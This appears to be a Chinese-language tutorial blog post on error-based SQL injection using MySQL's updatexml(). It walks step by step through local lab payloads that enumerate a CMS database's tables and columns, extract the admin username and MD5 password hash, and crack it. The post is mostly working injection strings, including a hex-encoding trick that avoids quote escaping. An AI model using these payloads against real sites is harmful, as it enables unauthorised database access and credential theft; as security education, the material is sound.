SQL注入之报错注入

文章目录

报错注入是什么?

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

报错注入就是在判断SQL注入的注入点时发现数据库的报错信息会回显到页面上,那么就可以对报错信息进行注入操作。

报错注入获取cms账号密码

打开cms数据库的网页:http://127.0.0.1/cms/show.php?id=33,

打开hackbar插件,在URL中输入命令测试:

报错注入公式:

复制代码
updatexml(1,concat(0x5e,(select database()),0x5e),1)

获取数据库名:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

运行结果:

数据库名为cms

获取表个数:

count(*):获取表个数

0x5e:^符,用来分割报错和输出的结果

concat:将多个字符连接成一个字符串

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

运行结果:

一共有8个表

逐个获取表名:

报错注入不同于联合查询,它只能逐个获取表名

limit 0,1:用来限定取第0行的一行记录,由于有8个表,也就是有8行数据,多取会报错。

information_schema 元数据数据库

存储库名、表名(-- tables)

存储列名(-- columns)))

取第0行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

运行结果:

找出表名cms_article

去第1行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

运行结果:

找出表名cms_category

以此类推,直到取出所有表名:

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

获取cms_users表的列的个数:

table_name=0x636d735f7573657273是cms_users表名转16进制后的结果,如果直接用表名'cms_users',会导致表名被cms**转义并报错,**所以需要避免单引号的使用。

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)

运行结果:

cms_users表中一共有三列数据

获取cms_users表的列的字段(内容):

limit 0,1:用来限定取第0行的一行记录,由于有3行数据,多取会报错。

limit 1,1:用来限定取第1行的一行记录,由于有3行数据,多取会报错。

...

取第一行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

运行结果:

取第二行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 1,1),0x5e),1)

运行结果:

取出的所有字段:

userid

username

password

获取username的内容:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

运行结果:

用户名为admin

获取password中的密文:

length(password):获取password的密文长度,由于password中的密码是一段md5密文,长度过长,不能一次取出,先获取长度后分次取出。

获取密文长度:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

运行结果:

md5密文长度是32

取前16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)

运行结果:

前16位md5密码密文

取后16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)

运行结果:

后16位密文

拼接后获得md5密码密文:

复制代码
e10adc3949ba59abbe56e057f20f883e

解码得到明文密码:

复制代码
123456

成功登录

相关推荐
小马学嵌入式~29 分钟前
嵌入式 SQLite 数据库开发笔记
linux·c语言·数据库·笔记·sql·学习·sqlite
Java小白程序员1 小时前
MyBatis基础到高级实践:全方位指南(中)
数据库·mybatis
Monly211 小时前
人大金仓:merge sql error, dbType null, druid-1.2.20
数据库·sql
不宕机的小马达1 小时前
【Mysql|第一篇】Mysql的安装与卸载、Navicat工具的使用
数据库·mysql
float_六七1 小时前
数据库连接池:性能优化的秘密武器
数据库·oracle·性能优化
码界奇点1 小时前
MongoDB vs MySQLNoSQL与SQL数据库的架构差异与选型指南
数据库·sql·mongodb·系统架构
IT 小阿姨(数据库)1 小时前
PgSQL中pg_stat_user_tables 和 pg_stat_user_objects参数详解
linux·运维·数据库·sql·postgresql·oracle
倔强的石头_2 小时前
Windows系统下KingbaseES数据库保姆级安装教程(附常见问题解决)
数据库
麦兜*2 小时前
MongoDB 常见错误解决方案:从连接失败到主从同步问题
java·数据库·spring boot·redis·mongodb·容器
RestCloud3 小时前
PostgreSQL大表同步优化:如何避免网络和内存瓶颈?
前端·数据库·api